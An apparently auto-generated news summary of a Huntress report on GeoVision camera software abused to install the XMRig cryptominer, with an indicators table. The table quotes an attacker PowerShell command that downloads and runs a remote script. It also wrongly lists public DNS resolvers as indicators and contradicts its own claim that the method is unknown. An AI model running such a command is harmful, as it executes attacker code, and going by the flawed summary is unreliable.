GeoVision camera software abused to deploy XMRig cryptominer
Original title: GeoVision Camera Software Abused to Deploy XMRig Cryptominer
A Huntress post says GeoVision camera software was used to install the XMRig miner; method and scope are not in the excerpt.
Huntress published a report titled GeoVision Camera Software Abused to Deploy XMRig Cryptominer. The available text does not describe the intrusion path, affected versions, victim count, or whether a specific vulnerability was exploited. Only the title establishes that GeoVision camera software was abused to deploy XMRig.
Unconfirmed: The article body was not available, so how the software was abused and whether attacks are confirmed remain unstated.
- The payload named in the title is XMRig.
- No affected versions or fixed releases appear in the excerpt.
- No CVE identifier is stated.
Impact: XMRig cryptominer deployed via camera software
| Product | Affected |
|---|---|
| GeoVision camera software | — |
- Vendors
- GeoVision
- Products
- GeoVision camera software
- Malware
- XMRig
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | cctv-update.top | f the investigation, this IP was associated with the domain cctv-update[.]top, which was registered on November 7 at 02:40 UTC. This bi |
| ipv4 | 1.1.1.1 | r organizations: • DNS queries to 8.8.8[.]8, 8.8.4[.]4, or 1.1.1[.]1 initiated by a process other than the system DNS client |
| ipv4 | 156.246.94.183 | irectory, which was a custom Golang loader (reaching out to 156.246.94[.]183). At the time of the investigation, this IP was associate |
| ipv4 | 2.59.133.151 | 30ca78c0eeb2653d69a8 Vulnerable driver abused in incident 2.59.133[.]151 WebCamServer.exe observed reaching out to this IP. Likely |
| ipv4 | 45.32.117.34 | ed reaching out to this IP. Likely source of exploitation 45.32.117[.]34 IP that PowerShell scripts (a,b, andc ) were launched fro |
| ipv4 | 8.8.4.4 | portunities for organizations: • DNS queries to 8.8.8[.]8, 8.8.4[.]4, or 1.1.1[.]1 initiated by a process other than the syste |
| ipv4 | 8.8.8.8 | etection opportunities for organizations: • DNS queries to 8.8.8[.]8, 8.8.4[.]4, or 1.1.1[.]1 initiated by a process other tha |
| sha256 | b673c4d707828abedc767a2be6badef7454492e62c37e30cf3cc5a402fd3647b | lyUpdate.exe XMRig miner PowerShell Files:a, b, c SHA256: b673c4d707828abedc767a2be6badef7454492e62c37e30cf3cc5a402fd3647b PowerShell scripts observed in the attacks wsftprm.sys Kv |
| sha256 | f1235751c9e48e5732b7b183dc2bb175a19e4c6401dfd0e96b4cfdd0d8c54b4c | 56.246.94[.]183 resolved to this domain update.exe SHA256:f1235751c9e48e5732b7b183dc2bb175a19e4c6401dfd0e96b4cfdd0d8c54b4c Golang binary PackageUpdater PackageUpdaterStartup Schedu |
| sha256 | ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8 | observed in the attacks wsftprm.sys Kvckiller.sys SHA256: ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8 Vulnerable driver abused in incident 2.59.133[.]151 WebCa |
| url | http://45.32.117[ | owershell -c iex (new-object net.webclient).downloadstring('hxxp://45[.]32[.]117[[.]]34/a') The command then led to the launch of variou |
| url | http://45.32.117.34/a | owershell -c iex (new-object net.webclient).downloadstring('hxxp://45.32.117[.]34/a'), which launched the later scripts b and c. Execution |
From the original article
11 min read at huntress.comAttackers abused publicly exposed GeoVision camera software at 13 organizations, tried to disable Defender, and deployed XMRig. Get the IoCs and next steps.
huntress.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.